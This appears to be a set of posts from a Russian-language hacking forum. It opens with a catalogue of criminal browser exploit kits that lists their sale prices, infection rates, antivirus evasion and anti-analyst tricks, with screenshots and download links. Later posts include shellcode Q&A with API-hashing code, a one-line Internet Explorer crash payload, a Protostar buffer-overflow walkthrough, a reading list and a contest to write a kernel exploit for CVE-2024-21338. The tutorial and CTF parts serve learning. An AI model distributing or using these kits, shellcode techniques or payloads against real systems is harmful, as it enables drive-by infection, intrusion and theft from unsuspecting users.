[mod][Winux:] Полностью обновил первый пост. Заменил все битые ссылки на актуальные, добавил кое что из своей коллекции + сделал скрины и нашел описания. Описания актуальны на момент продажи. Конечно щас пробив уже не такой.[/mod]
-Старые админки (4шт) 0x88 (ессно неактуальные, цена на момент продажи 3к. Автор занесен в блек-лист на многих форумах. Проверяйте.).
Скрин:
Spoiler: 3 у вас 43
-AD-Pack. (2 вариации) На момент продажи:
Админка:
- -Статистика по OC.
- -Статистика по браузерам.
- -Статистика по рефералам.
- -Статистика по странам.
- -Пробив указываеться как по ие так и повсему трафу.
%-ы по трафу:
- -ru 35-50%
- -mix > 23%
- -adalt ~12%.
Click to expand...
Скрин:
Spoiler: 3 у вас 43
-Armitage. На момент продажи:
функциональный перечень:
+статистика по странам
+статистика по браузерам
+статистика по операционным системам
+статистика по рефералам
+2 пользователя админки(админ и гость)
Не палиться абсолутно ничем, не вешает браузер(очень хорошо для держателей своего трафа бизнес тематики)Click to expand...
Продавалась за 200
Скрин:
Spoiler: 3 у вас 43
-cry217. Описания не нашел. Ну в принципе ничего особенного.
Скрин:
Spoiler: 3 у вас 43
-Fiesta pack. На момент продаж:
- пробивает IE и Opera
- пробив по уязвимым версиям IE ( 4/5/6 ) 20-30%
- пробив по ИЕ за счет различного рода багов в плагинах. наблюдалось до 5%
- пробив по уязвимым версиям Opera ( 9.00-9.20 ) 10-15%
- в сборке порядка 7 сплоитов
- максимально точная статистика по сплоитам ( мало отличается от статы лоадера )
- обфускация на лету, каждый сплоит выглядит по разному
- стата по странам, браузерам и версиям ОС
- предоставляется тест на вашем трафе
Click to expand...
Цена была 400.
Скрин:
Spoiler: 3 у вас 43
-Fire-pack (Исходный и модифицированный варианты). На момент продажи пробивал браузеры:
Internet Explorer 6, 7
FireFox 1,2
Opera 7,9Click to expand...
Скрины:
Старая:
Скачать
Модифицированная:
Spoiler: 3 у вас 43
-G-pack. На момент продажи:
+ Невидимость антивирусами.
+ Даже при исполнении кода, включенный KIS7 и NOD32 с последними обновлениями молчат и дают скачать и выполнить Ваш файл.
+ Срабатывание происходит очень быстро и незаметно для зашедшего на страницу.
+ Internet Explorer версии 6 и более рание версии.
+ Пробив на микс трафе с преобладанием РУ около 30% на общем трафе и около 40% по IE. Зависит от Вашего трафа.
+ Хорошо оптимизированная работа с базой данных. Связка держит большое количство трафа.
+ Простота установки. В случае чего, Вам понадобится не более 10 минут, чтобы перенести связку в другое место.
+ Поддержка онлайн. Помогу установить и настроить. Чистки и т.д.Click to expand...
Продавалась за 100
Скрин:
Spoiler: 3 у вас 43
-Ice-pack (несколько вариантов). На момент продажи:
- Криптор эксплоитов
- Блокировка по IP
- Крипт ифрейма
- Загрузка файла через админку
- Встроенный фтп-чекер и ифреймер
- Отбор траффика по странам
- Отбор трафика по браузерам
- Весь ненужный траф можно перенаправить куда вам необходимо
- Не пробитые посещения перенаправляються по вашему желанию
- Текстовый режим работы связки
-новая система распределения загрузок! каждой стране можно назначить свой файл для прогруза!
-вся информация храницца в текстовых файлах что способствует наименьшей нагрузке на сервер!Click to expand...
Продавалась за 200
Скрин:
Spoiler: 3 у вас 43
-Infector by xod. на момент продажи:
- Подробное, пошаговое руководство по настройке и использованию.
- Возможность использовать систему без установки дополнительных модулей php.
- Трех сторонняя шифровка эксплойтов полиморфным алгоритмом с поддержкой контрольной суммы.
- Ошибка 404 в случае повторного захода. Время бана можно задать самостоятельно.
- Учет инсталлов методом сниффа. Приблизительно такой же способ учёта использовался в связке Inet-Lux
- Встроенный в переполняющие эксплойты алгоритм удаления забитой памяти, более быстрое срабатывание эксплойтов.
- Анти-антивирусные приемы.
- Распределение наборов эксплойтов в зависимости от системы и браузера и наличия загрузки.
- Автоматическое предотвращение повторных загрузок.
- Возможность вторичного использования зараженного трафа. Траф, который вы шлете в систему, после срабатывания эксплойтов можно перенаправить дальше. (Professional версия)
- Четыре способа оптимизации при работе эксплойтов. (Professional версия)
Можно выбрать между следующими видами учёта статистики и оптимизации:
o Использование SQL
o Использование TEXT DB
o Использование упрощенного TEXT режима
o Выключить статистику- Три админ панели для каждого вида статистики и оптимизации для сервера. (Professional версия)
- Удобный инсталлер и админка.
- Возможность управлять системой прямо из админ панели, загружать новые лоадеры...
- Множество фильтров статистики в админке.
- Поддержка ВСЕХ видов трафа, включая tunnel (антиабузовый траф, все хосты с одним IP).
Click to expand...
Продавалась за 1300. Автор занесен в блек-лист.
Spoiler: 3 у вас 43
-Mpack (Различные версии). На момент продаж:
В текущей сборке представлены следующие експы:
- модифицированный MS06-014 с максимизированной эффективностью
- MS06-006 под Firefox 1.5.x и Opera 7.x
- unnamed 0day для Win2000 (ms06-044)
- XML overflow под XP2k3 с задержкой на срабатывание
- WebViewFolderIcon overflow
- WinZip ActiveX overflow
- QuickTime overflow
- ANI overflow
- Becks overlow
- Пробив последних версий Ие, ОперыClick to expand...
Скрин:
Spoiler: 3 у вас 43
Скачать
Скачать
Скачать
Скачать
Скачать
-Neosploit-2. На момент продажи:
Функции:
1. Перед выдачей сплоита анализируется версия оси, браузера и другого постороннего софта на машине юзера. От этого увеличивается скорость выполнения загрузки ехе, вероятность срабатывания сплоита и в конечном счете
- пробив.
2. Сплоиты шифруются в реальном времени уникальным ключом. Расшифровать JavаScript стандартными средствами не получится. Однако, если кто-то захочет угнать связку, то проще сделать свою, т.к. основную работу делает не JavаScript, а сама сишная прога.
3. Защита екзешника от повторной закачки на 1 час (это время устанавливается динамически), если тот был слит, а также блокировка самой связки - юзер видит 500 ошибку сервера. Если кто-то пробил линк, где лежит екзешник, то он его может слить в течении указанного времени только один раз и только со своего ip. Сделано для того, чтобы файл не попадал в руки, которые его могут сдать аверам.
4. Есть линк для маяков лоадера и линк необходимый самому лоадеру для слива ехе. В админке сплоита получается сразу есть и статса по сплоиту и стата по лоадеру.
5. Имеется статса по осям, браузерам, странам, реферерам, последним 100 заходам/загрузкам. Статса по загрузкам двух видов - по сплоиту (по http- обращениям к екзешнику) и по лоадеру (маяк или слив ехе).
6. Уникальность загрузок смотрится по ip, с которого был слит ехе. Период уникальности ip cчитается на протяжении всей работы связки, до тех пор пока не произошло обнуления статсы.
7. Мультиюзерность. Можно создавать юзеров, устанавливать каждому свой лоадер и каждому то, что лоадер забирает. Как бонус прилагается сишный исходник проги, которая получает от связки инфу об оси, браузере, реферере юзера, а так же id партнера, который шлет трафф. После этого прога может выдавать нужный екзешник. Например, прога заменяет в лоадере id партнера на нужный. Или грузит амерам один ехе, европейцам другой и т.д.
8. Пробиавает IE и Firefox всех версий.Click to expand...
Продавалась за 1500.
Spoiler: 3 у вас 43
-Smartpack. На момент продаж:
В основе связки лежат уязвимости ie_createobjet и RDS. Пробив считаеться по общему трафику, т.е. учитываеться всё, а не только пробив с Internet Explorer.
- USA: 15%
- Mix: 15-17%
- RU: 35-50%
- Adult: 5-7%Возможности статистики связки:
- ведеться статистика по странам, реферам, ОС.
- выводиться статистика пробива как по общему, так и только по IE-трафику.
- в настройках можно задать страницу с 404 Not Found, которая будет отображаться при заходе на линк со сплоитом. Пример ошибки берется с этого же сервера, так как на разных серверах ее делают по разному.
- возможно выбрать три эксплоита для вывода.
- в настройках можно указать их последовательность и таймаут между ними в секундах.
- возможно указать игнорирование определенных стран.
- код эксплойта править не нужно, ссылка на статистику определяеться сама, необходимо всего лишь расставить права и залить ваш exe-файлClick to expand...
Продавалась за 200.
Spoiler: 3 у вас 43
-Multisploit. Описания вообще не нашел, может это что-то другое - не знаю.
Spoiler: 3 у вас 43
-TargetExploit. Описание не смотрел. Может это что другое.
Spoiler: 3 у вас 43
-Tor. Тоже неизвестно что. По всей видимости это Tornado pack.
Spoiler: 3 у вас 43
-Еще один неизвестный сплоет
Spoiler: 3 у вас 43
-Связка в архиве под паролем. Откуда взял не помню, пароль не знаю. Что это тоже не знаю. Догадывайтесь сами=). З.Ы: будет пароль-напишите мне.
Spoiler: 3 у вас 43
В конце надоело все устанавливать и скринить, так что многоя я толком не смотрел.
Доброго времени суток. В этой теме будут выкладываться книги и документация. А так же если ты хочешь стать хорошим специалистом в области исследования уязвимостей программного обеспечения, не используй готовые эксплойты! Ищи информацию на лентах уязвимостей, используй свои знания и вспомогательные инструменты для создания собственных вариантов кода, а так же читай много различных книг и документации по данной тематике, а так же изучай чужой код. Это поможет тебе научиться и обходить системы защиты, и создавать их. Успешных взломов, но не забывай о законе!
Fuzzing-Исследование уязвимостей методом грубой силы
Фаззинг - это процесс отсылки намеренно некорректных данных в исследуемый объект с целью вызвать ситуацию сбоя или ошибку. Настоящих правил фаззинга нет. Это такая технология, при которой успех измеряется исключительно результатами теста. Для любого отдельно взятого продукта количество вводимых данных может быть бесконечным. Фаззинг - это процесс предсказания, какие типы программных ошибок могут оказаться в продукте, какие именно значения ввода вызовут эти ошибки. Таким образом, фаззинг - это более искусство, чем наука.
Настоящая книга - первая попытка отдать должное фаззингу как технологии. Знаний, которые даются в книге, достаточно для того, чтобы начать подвергать фаззингу новые продукты и строить собственные эффективные фаззеры. Ключ к эффективному фаззингу состоит в знании того, какие данные и для каких продуктов нужно использовать и какие инструменты необходимы для управления процессом фаззинга.
Книга представляет интерес для обширной аудитории: как для тех читателей, которым ничего не известно о фаззинге, так и для тех, кто уже имеет существенный опыт.
**Gray Hat Python
**
Python — высокоуровневый язык программирования, который быстро набирает популярность у хакеров. До сих пор еще не было полноценного руководства о том, как использовать Python для различных хакерских задач. Приходилось постоянно перечитывать огромное количество форумов и блогов, все время совершенствуя свой код.
В книге описываются концепции хакерских утилит, эмуляторов, отладчиков. Однако автор, Justin Seitz, выходит за рамки теории, показывая, как использовать встроенные инструменты безопасности Python, и как написать свои собственные. В Gray Hat Python вы узнаете о том, как обеспечить безопасность собственных программ и взламывать чужие; как использовать инъекции кода; различные методы перехвата информации и способы избежать этого, а также различные хитрости использования программ перехвата трафика по зашифрованным каналам.
**Взлом программного обеспечения: анализ и использование кода
**
Эта книга рассказывает о том, как взламывать программный код. Самым подробным образом, чем это было сделано когда-либо ранее, высококвалифицированные авторы расскажут о технологии проведения атак и взлома программного кода. Книга насыщена примерами кода из реальных программ атаки и исправлений, вносимых хакерами в популярные приложения. Читателям наглядно демонстрируется, как выявлять неизвестные уязвимые места в программном обеспечении и как можно их использовать для взлома компьютеров. Книга предназначена для профессионалов в области программного обеспечения и может использоваться как пособие для создания более безопасного кода.
**ЗАЩИТА ОТ ВЗЛОМА: Сокеты, Shell-код, Эксплойты
**
В своей новой книге Джеймс Фостер, автор ряда бестселлеров, впервые описывает методы, которыми пользуются хакеры для атак на операционные системы и прикладные программы. Он приводит примеры работающего кода на языках C/C++, Java, Perl и NASL, в которых иллюстрируются методы обнаружения и защиты от наиболее опасных атак. В книге подробно изложены вопросы, разбираться в которых насущно необходимо любому программисту, работающему в сфере информационной безопасности: программирование сокетов, shell-коды, переносимые приложения и принципы написания эксплойтов.
**Разработка средств безопасности и эксплойтов
**
Эта книга — подробное руководство по разработке средств безопасности для веб- приложений. В ней подробно рассматриваются проблемы безопасности программного обеспечения. На многочисленных примерах изучается принцип использования различных типов уязвимостей компьютерных систем, выполняется детальный анализ техник взлома. Отдельно изучается программирование расширений для таких известных средств обеспечения и проверки безопасности, как Ethereal, Nessus и Metasploit Framework (включая Meterpreter). Книга предназначена для специалистов в области программирования.**
Искусство взлома и защиты систем
**
Посвящается всем и каждому, кто понимает, что хакерство и обретение новых знаний — это образ жизни, а не задание на дом и не список готовых инструкций из этой толстой книжки Книга "Искусство взлома и защиты систем" написана группой экспертов по безопасности. Некоторые из них занимаются вопросами безопасности корпоративных приложений, а некоторые являются настоящими подпольными хакерами. В рассылке bugtrack, посвященной отслеживанию уязвимостей, их мнение считается наиболее авторитетным. В книге освещены все аспекты обнаружения дыр в защите систем. Взгляните на оглавление и убедитесь в этом. Тщательное изучение описываемых методов позволит вам на профессиональном уровне тестировать и защищать системы, а также использовать имеющиеся уязвимости. Заплатки для прикрытия дыр в защите систем выпускаются разработчиками ежедневно. Однако к тому моменту, когда вы установите очередное обновление, ваши данные уже могут быть атакованы. Эта уникальная книга позволит вам опередить неприятные события. У вас появится возможность обнаруживать уязвимости программ, написанных на языке С, использовать эти уязвимости и предотвращать появление новых дыр в защите. Вы научитесь: - обнаруживать причины уязвимостей и устранять их; - без труда выявлять дыры в защите популярных ОС (включая Windows, Linux и Solaris) и приложений (включая MS SQL Server и Oracle); - атаковать защищенные системы и обходить фильтры - только пройдя этот этап, можно понять, какие контрмеры действительно необходимо предпринять; - работать с обнаруженными уязвимостями, использовать недокументированные возможности и методики.
**The Security Development Lifecycle
**
Ваш глубокий, экспертный справочник для устранения и поиска багов в системе безопасности. В книге рассматриваются способы фаззинга кода на C++, средства фаззинга файлов, методика исследования безопасности и прочее...
**The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities
**
Это - один из наиболее подробных, умных, и полезных справочников по программной безопасности, когда-либо написанных. Авторы ведут консультацию по безопасности и исследованиям, которые лично открыли уязвимости в приложениях: Microsoft Exchange, Check Point VPN и Internet Explorer. Опираясь на их чрезвычайном опыте, они вводят стартовую методологию уязвимостей и приложений, чтобы показывать наиболее тонкие и хорошо-спрятавшиеся недостатки безопасности. Искусство оценки программной безопасности покрывает полный спектр программных уязвимых мест как в UNIX/Linux так и средах Windows.
**A Bug Hunter 's Diary A Guided Tour Through the Wilds of Software Security
**
Эта книга хорошо разъясняет методы эксплуатации уязвимостей не на каких-то надуманных искусственных примерах и при этом позволяла бы людям не искушенным в этом вопросе ознакомиться с предметной областью.
Автор книги Tobias Klein, выстроил ее таким образом, что она постепенно переходит к более сложным темам и при этом рассматриваются уязвимости в реальных программных продуктах, которые известны многим и пользуются популярностью. Но сразу стоит сказать, что книга рассчитана на людей не искушённых с темой поиска уязвимостей и их эксплуатации, здесь вы не найдете новых методик обхода DEP/ASLR или руководство по использованию ROP.
Отдельно стоит отметить живую манеру изложения, выбранную автором для этой достаточно не простой темы. При этом все описанные в книге уязвимости были не просто случайным выбором, а были найдены самим автором. Tobias Klein прошел весь жизненный цикл для каждой из описанных уязвимостей, от их обнаружения, до работы с вендором по ее закрытию. Еще одной интересной особенностью данной книги, является ширина охвата различных операционных систем, так в книге можно встретить Linux, BSD, iOS и Windows. Опять же речь не идет о подробном исчерпывающем руководстве по особенностям эксплуатации для каждой их перечисленных систем. Автор рассматривает лишь уязвимые приложения для этих систем, но при рассмотрении процесса эксплуатации, также затрагиваются некоторые особенности для каждой из них.
Хакинг. Искусство эксплойта
Хакинг - это искусство творческого решения задач, подразумевающее нестандартный подход к сложным проблемам и использование уязвимостей программ. Часто бывает трудно разобраться в методах хакинга, потому что для этого нужны широкие и глубокие знания.
Автор не учит применять известные эксплойты, а объясняет их работу и внутреннюю сущность. Вначале читатель знакомится с основами программирования на С, ассемблере и языке командной оболочки, учится исследовать регистры процессора. А усвоив материал, можно приступать к хакингу - перезаписывать память с помощью переполнения буфера, получать доступ к удаленному серверу, скрывая свое присутствие, и перехватывать соединения TCP. Изучив эти методы, можно взламывать зашифрованный трафик беспроводных сетей, успешно преодолевая системы защиты и обнаружения вторжений.
Книга дает полное представление о программировании, машинной архитектуре, сетевых соединениях и хакерских приемах. С этими знаниями ваши возможности ограничены только воображением. Материалы для работы с этим изданием имеются в виде загрузочного диска Ubuntu Linux, который можно скачать и использовать, не затрагивая установленную на компьютере ОС
**A Guide to Kernel Exploitation: Attacking the Core
**
В книге обсуждается теоретические методы и подходы, необходимые для разработки надежных и эффективных эксплойтов на уровне ядра, и применять их к различным операционным системам, а именно к производным UNIX, Mac OS X и Windows. Концепции и тактика представлены подробно, так что даже когда была исправлена уязвимость, предоставленная базовая информация поможет хакерам написать новую, лучшую атаку; или помочь ручным тестировщикам, аудиторам и т. п. разработать более конкретную конструкцию и защитную структуру.
CVE-2019-0708 | Remote Desktop Services RCE
Удаленное выполнение произвольного кода в протоколе RDP. Стало известно об опасной уязвимости в протоколе RDP: корпорация Microsoft подготовила экстренный патч для уязвимости с идентификатором CVE-2019-0708, позволяющей выполнить произвольный код на целевой системе.
Уязвимость удаленного выполнения кода существует в службах удаленных рабочих столов (ранее они назывались службами терминалов), когда злоумышленник, не прошедший проверку подлинности, подключается к целевой системе с помощью RDP и отправляет специально созданные запросы. Эта уязвимость использует предаутентификацию и не требует взаимодействия с пользователем. Злоумышленник, успешно воспользовавшийся данной уязвимостью, может выполнить произвольный код в целевой системе.
The vulnerability (CVE-2019-0708) resides in the “remote desktop services” component built into supported versions of Windows, including Windows 7, Windows Server 2008 R2, and Windows Server 2008. It also is present in computers powered by Windows XP and Windows 2003, operating systems for which Microsoft long ago stopped shipping security updates.
Чтобы воспользоваться уязвимостью, злоумышленнику необходимо отправить специально созданный запрос службе удаленных рабочих столов целевых систем через RDP.
Интересным является тот факт, что эту или схожую уязвимость продавали в «даркнете» как минимум с сентября прошлого года.
Click to expand...
[ https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/CVE-2019-0708 ](https://portal.msrc.microsoft.com/en- US/security-guidance/advisory/CVE-2019-0708)
pre-auth , баг ОЧЕНЬ СЕРЬЕЗНЫЙ
кто-то уже встречал poc? или готовый эксп?
предлагаю, по аналогии с разделом программирование и разработка, задавать короткие вопросы, связанные с эксплуатацией уязвимостей класса memory corruption, в том числе вопросы по написанию шеллкода.
сам могу подсказывать как по win32, так и по никсам. но кодить за вас ничё не буду. а то есть любители просить эксп под какой-нибудь CVE. ну или уникумы, которым нужен шеллкод "на typescript + babel.js с компиляцией в облаке воцап."
мне пока спросить особо нечего, поэтому просто напишу пару готовых ответов на вопросы, с которыми ко мне не так давно обращались. заодно будет понятно, какой формат общения я имею в виду.
q: пишу шеллкод под Win32 на Си в MSVC. получаю PEB через mov eax,
fs:[0x30]. а как получить PEB на x64?
a: PPEB peb = (PPEB)__readgsqword(0x60);
после рефакторинга:
C:Copy to clipboard
#if defined(_WIN64)
PPEB peb = (PPEB)__readgsqword(0x60);
#else
PPEB peb = (PPEB)__readfsdword(0x30);
#endif
q: ищу модуль по хэшу. взял из инета сниппеты find_module_by_hash и
ror13_hash, но в некоторых случаях не находит kernel32.dll
a: во встречающихся в сети сниппетах может отсутствовать учёт регистра
символов, при том что kernel32.dll может быть подгружен как "KERNEL32.DLL", то
есть имя либы в верхнем регистре.
рабочий сниппет функции с багфиксом:
C:Copy to clipboard
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
DWORD hash = 0;
while (unicode_string != 0 && *unicode_string != 0)
{
DWORD val = (DWORD)*unicode_string++;
if (val >= 'A' && val <= 'Z') {
val |= 0x20;
}
hash = (hash >> 13) | (hash << 19);
hash += val;
}
return hash;
}
для поиска функций по хэшу, конечно же, уже никакой юникод не нужен, а регистр символов всегда такой, каким мы привыкли его видеть.
думаю по этим двум примерам формат понятен - без флуда и с конкретикой.
Поисковик эксплойтов - sploitus.com
Позволяет искать по содержимому и имени в публичных эксплойтах, подбирать софт
по его описанию, смотреть и скачивать их в два клика.
В настоящее включает в себя такие продукты как
exploitdb
metasploit
0day.today
canvas
d2
packetstorm
pwnmalw
saint
seebug
vulnerlab
zeroscience.
Поиск по софту включает ресурсы kitploit и n0where.
На главной странице также представлены популярные эксплойты которые появились за последнюю неделю.
TODO:
Можете предлагать свои идеи, рассказывать о багах и отправлять ресурсы для включения в базу.
Отказ в обслуживании Microsoft Internet Explorer
Уязвимые версии: Microsoft Internet Explorer 5.01, 5.5, 6.0
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании
браузера.
Обнаружено разыменование нулевого указателя при обработке значения атрибута
'datasrc'. Удаленный пользователь может с помощью специально сформированной
Web страницы вызвать аварийное завершение работы браузера.
Пример :
Code:Copy to clipboard
> <table datasrc=".">
Патч на момент постинга не вышел.
:zns2: Производитель
[mod] [Winux:] Вот так надо посты оформлять.[/mod]
Часть 1 - Введение в переполнение буфера
Доброго времени суток. Решил написать цикл статей посвященный эксплуатации бинарных уязвимостей, в народе это называется чёрной магией. В сети есть куча статей и материалов на эту тему, а четкого пути так и не видно... Потому, что надо обладать огромным багажом знаний... Так как же научиться писать эксплойты? Находить 0дей уязвимости, обходить такие защиты, как DEP\ASLR ? Ответ прост нужна практика, практика и еще раз практика, чем мы с вами сейчас и займемся. Я буду вашим проводником.
В сети был такой учебный ресурс, как [Exploit Exercises](https://exploit- exercises.com/).
Exploit Exercises предлагает множество виртуальных машин, документацию и задачи, которые пригодятся в изучении повышения привилегий, анализа уязвимостей, разработки эксплойтов, отладки, реверс-инжиниринга и т.д.
Сейчас этот ресурс не доступен, так, как он переехал и доступен теперь по новому адресу.
Начнем мы свой путь в профессию Exploit-Developer с решения различных ExploitMe на образе Protostar. Этот образ хорош тем, что в нем вы изучите основы, азы, переполнения буфера, уязвимости форматирования строки, переполнение кучи... А так же в нем отключены защиты подобные DEP и ASLR, чтобы мы могли сконцентрироваться именно на изучении самих уязвимостей и их эксплуатации. Обходить защиты мы будем, но чуть позже, когда наберемся опыта, а пока, что будем качать наш с вами скилл.
И так перейдем к делу, качаем [образ виртуальной машины](https://github.com/ExploitEducation/Protostar/releases/download/v2.0.0/exploit- exercises-protostar-2.iso) и запускаем его на VirtualBox'e.
Логин и пароль "user "
Самое первое задание это[ стек0](http://exploit.education/protostar/stack- zero/).
Описание ExploitMe
Этот уровень вводит в концепцию, что доступ к памяти может осуществляться за
пределами выделенной области, как размещаются переменные стека, и что
изменение за пределами выделенной памяти может изменить выполнение программы.
Переходим в каталог с заданием
cd /opt/protostar/bin/
Исходный код
C:Copy to clipboard
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
Решение
Тут всё стандартно, за исключением того, что в коде присутствует ключевое
слово volatile. Сказал бы я, но... Рассмотрим более подробно, что
представляет из себя переполнение буфера, что это за тип уязвимости такой...
Поэтому начнем с разбора исходного кода программы.
Ключевое слово volatile информирует компилятор, что значение переменной может меняться извне. Это может произойти под управлением операционной системы, аппаратных средств или другого потока. Поскольку значение может измениться, компилятор каждый раз загружает его из памяти.
Посмотрим еще раз на исходный код программы, видим, что есть буфер в 64 байта, в этот буфер будет записана строка посредством функции gets().
Посмотрим описание функции.
Функция gets считывает строку из стандартного потока ввода (stdin) и помещает ее в массив указанный аргументом. Чтение строки производится пока не будет встречен символ «переход на новую строку», или не будет достигнут конец файла.
Если чтение строки завершилось по считыванию символа «переход на новую строку», то символ «переход на новую строку» не записывается в массив, а заменяется символом «конец строки»
Применение этой функции не рекомендуется, так как размер считываемой строки не ограничивается размером массива, в который должна быть записана считываемая строка. В результате может возникнуть переполнение массива и несанкционированная запись в память, что приведет к ошибкам в работе программы или ее зависанию.
Вернемся к исходному коду и посмотрим на условие в программе. Если переменная modified не равняется нулю тогда печатается текст «you have changed the ‘modified’ variable », иначе «Try again? ».
Переменная modified установлена со значением ноль, поэтому всегда будет печататься текст «Try again? ».
Если мы запустим программу и передадим, ей строку типа "ААААBBBCCCC " то ничего не произойдет, а если передадим строку большего размера, чем указано в буфере "...AAAABBBBCCCCDDDD " то мы перезапишем переменную. Посмотрите на диаграмму ниже. В памяти в стеке это будет выглядеть примерно так.
Исходя из того, что modified равен нулю, нам надо её изменить, что мы и сделаем. Используем буфер , функцию gets и volatile. Просто передадим в буфер строку не 64 байта, как положено, а 65, чтобы перезаписать значение переменной modified. Чтобы не вводить вручную данные, воспользуемся python’ом и перенаправим вывод в нашу программу.
python -c "print 'A' * 65" | ./stack0
Отлично, переменная перезаписана, а на экране отображается текст «you have changed the ‘modified’ variable », цель достигнута! Когда будете работать над очередным переполнением буфера, важно понимать, где и как находятся данные в стеке, поэтому вспоминайте эту диаграмму. В этом ExploitMe мы научились перезаписывать значение переменной, используя уязвимость переполнения буфера, теперь можно смело переходить на следующий уровень - stack1.
Видео:
В нашем разделе нередко появляются вопросы "Как вкатиться в ресерч?", "Как писать эксплойты". Этот мини-конкурс создан специально для Вас.
Требования для участников
Задача
В десятидневный срок написать PoC (Proof Of Concept) для уязвимости
[CVE-2024-21338](https://msrc.microsoft.com/update-
guide/vulnerability/CVE-2024-21338)
В зависимости от уровня участника эта задача может быть поделена на несколько
подзадач:
Задача #1.
Написать PoC, демонстрирующий BSOD.
Задача #2.
Написать PoC, демонстрирующий получение примитива произвольного чтения/записи
ядерной памяти без обхода kCFG (c выключенным HVCI).
Задача #3.
Написать PoC, демонстрирующий получение примитива произвольного чтения/записи
ядерной памяти с обходом kCFG (с включенным HVCI).
Порядок обсуждения, вопросы, подсказки
В теме конкурса разрешено обсуждать детали уязвимости и непосредственно
разработку кода. И все же желательно стремиться выполнить задачу
самостоятельно. Если вы глубоко застряли или тотально затупили, то можете
адресовать вопрос мне в скрытом комментарии и я направлю вас на путь истинный.
Хинты для всех будут публиковаться ежедневно в 19:00.
Призы
За демонстрацию решения первой задачи участник получит - Premium на год.
За демонстрацию решения второй задачи участник получит - Premium на год.
За демонстрацию решения третьей задачи участник будет награжден званием
"Эксперт ".
Призы действуют при условии, если не всплывет непредвиденная ситуация, о
которой будет написано в пункте ниже.
Плагиат
Под плагиатом я подразумеваю демонстрацию кода чужой разработки. Например,
если выяснится, что код PoC вы целиком откуда-то украли, то будете
репрессированы с позором. Заимствование каких-то отдельных кусков кода не
порицается.
Непредвиденные ситуации
Если код PoC появится до завершения конкурса в паблике, то конкурс считается
завершенным. Поэтому в ваших же интересах не тянуть с выполнением задачи.
**Без форс-мажоров конкурс продолжается с 25.03.24 по 03.04.24 включительно.
Подведение итогов и объявление победителей начнется с 04.04.24. **
Порядок сдачи
По истечении сроков проведения конкурса или если вы справились с задачей
досрочно, то необходимо предоставить в ЛС
Напутствие
С любой из трех задач справятся немногие, но это и есть ресерч. Всем удачи!
Spoiler: Хинт №1
![decoded.avast.io](/proxy.php?image=https%3A%2F%2Fdecoded.avast.io%2Fwp- content%2Fuploads%2Fsites%2F2%2F2024%2F02%2FAdobeStock_640258322-scaled.jpeg&hash=93ff5b3cc31d4077fab2f642847443cd&return_error=1)
Zero-Day - Avast Threat Labs ](https://decoded.avast.io/janvojtesek/lazarus- and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/)
The Lazarus Group is back with an upgraded variant of their FudModule rootkit, this time enabled by a zero-day admin-to-kernel vulnerability for CVE-2024-21338. Read this blog for a detailed analysis of this rootkit variant and learn more about several new techniques, including a handle table...
![decoded.avast.io](/proxy.php?image=https%3A%2F%2Fdecoded.avast.io%2Fwp- content%2Fuploads%2Fsites%2F2%2F2019%2F07%2Fcropped- Asset-25ldpi-32x32.png&hash=226949c0bb8a25d5801a508f6b845348&return_error=1) decoded.avast.io
Exploiting / PWN
Exploiting или Pwn ("бинарная эксплуатация", "эксплойтинг", "пвн") —
это категория задач, в которых, как правило, нужно искать и эксплуатировать
уязвимости в скомпилированных приложениях. Чаще всего это уязвимости
повреждения памяти (memory corruption).
Эта категория в каком-то смысле противопоставляется категории Web, в которой обычно стоит задача взломать приложение на языке высокого уровня (типа PHP), т.е. всё происходит на уровне интерпретации скрипта, а не на уровне физической памяти. Однако, порой в категорию Pwn включают и приложения на скриптовых языках. Это может быть, к примеру, обход песочницы (jail) на языке Python. Песочницей называют ограниченную среду, в которой разрешены только определённые команды. Целью решения таска обычно является обойти это ограничение и прочитать какую-то конфиденциальную информацию (флаг).
Надо отметить, что в последние годы тематика CTF-соревнований заметно укоренилась именно в области пвна. На топовых соревнованиях задачи зачастую очень сложные, и их решают известные профессионалы, исследователи, разработчики кибероружия. Например, одним из сильнейших пвнеров (и цтферов вообще) является https://en.wikipedia.org/wiki/George_Hotz, активно участвовавший в цтфах в 2013-2014 годах. Сильнейшей командой является команда PPP (Plaid Parliament of Pwning) родом из университета CMU, которая, как нетрудно догадаться, тоже специализируется в пвне.
Ближе к делу.
Наиболее известным и распространённым случаем повреждения памяти является переполнение буфера. Если объяснить в двух словах, переполнение буфера возникает тогда, когда приложение принимает на вход строку и записывает её в некоторую выделенную область памяти (буфер), недостаточно проверяя её длину.
Таким образом, хакер может выйти за границы буфера и переписать какие-то иные участки памяти, в которых могут быть важные данные. Классический способ эксплуатации — это перетирание адреса возврата (return address). Это адрес памяти, на который программа "перепрыгнет" после завершения выполнения текущей функции.
Суть эксплойта в том, что хакер записывает в буфер любой код, который он хочет выполнить, далее выходит за границу буфера и меняет адрес возврата на адрес буфера. Таким образом, после выхода из текущей функции программа перепрыгнет на буфер, и выполнится код, который хакер туда записал.
Обычно в качестве условия задачи даётся бинарник (скомпилированный исполняемый файл программы) и адрес (хост и порт) сервера, на котором этот бинарник висит. Иногда даётся и исходный код приложения. Участнику нужно проанализировать приложение (дизассемблировать, декомпилировать или читать исходный код) и разработать эксплойт, т.е. программу, которая "заставляет" это уязвимое приложение выполнить произвольный код (вызвать шелл). Далее нужно при помощи этого эксплойта заставить сервер организаторов выдать флаг.
В простых случаях сам эксплойт может состоять всего из нескольких байт. Это может быть некоторое количество произвольных байтов для забивания буфера, а затем адрес какой-то функции, которая выдаёт флаг. Если этот адрес перезапишет адрес возврата, программа отдаст флаг.
Иногда даже для относительно непростых задач эксплойт пишется в одну строчку, но найти саму уязвимость и придумать цепочку вызовов для выполнения нужного действия не так легко.
Есть книга Д. Эриксона "Хакинг. Искусство эксплойта" в русском переводе. В ней очень доступно описано введение в эксплуатацию уязвимостей повреждения памяти. Также затронута сетевая безопасность и криптоанализ.
Простые примеры для понимания:
Хорошие ресурсы для тренировки навыков этой категории:
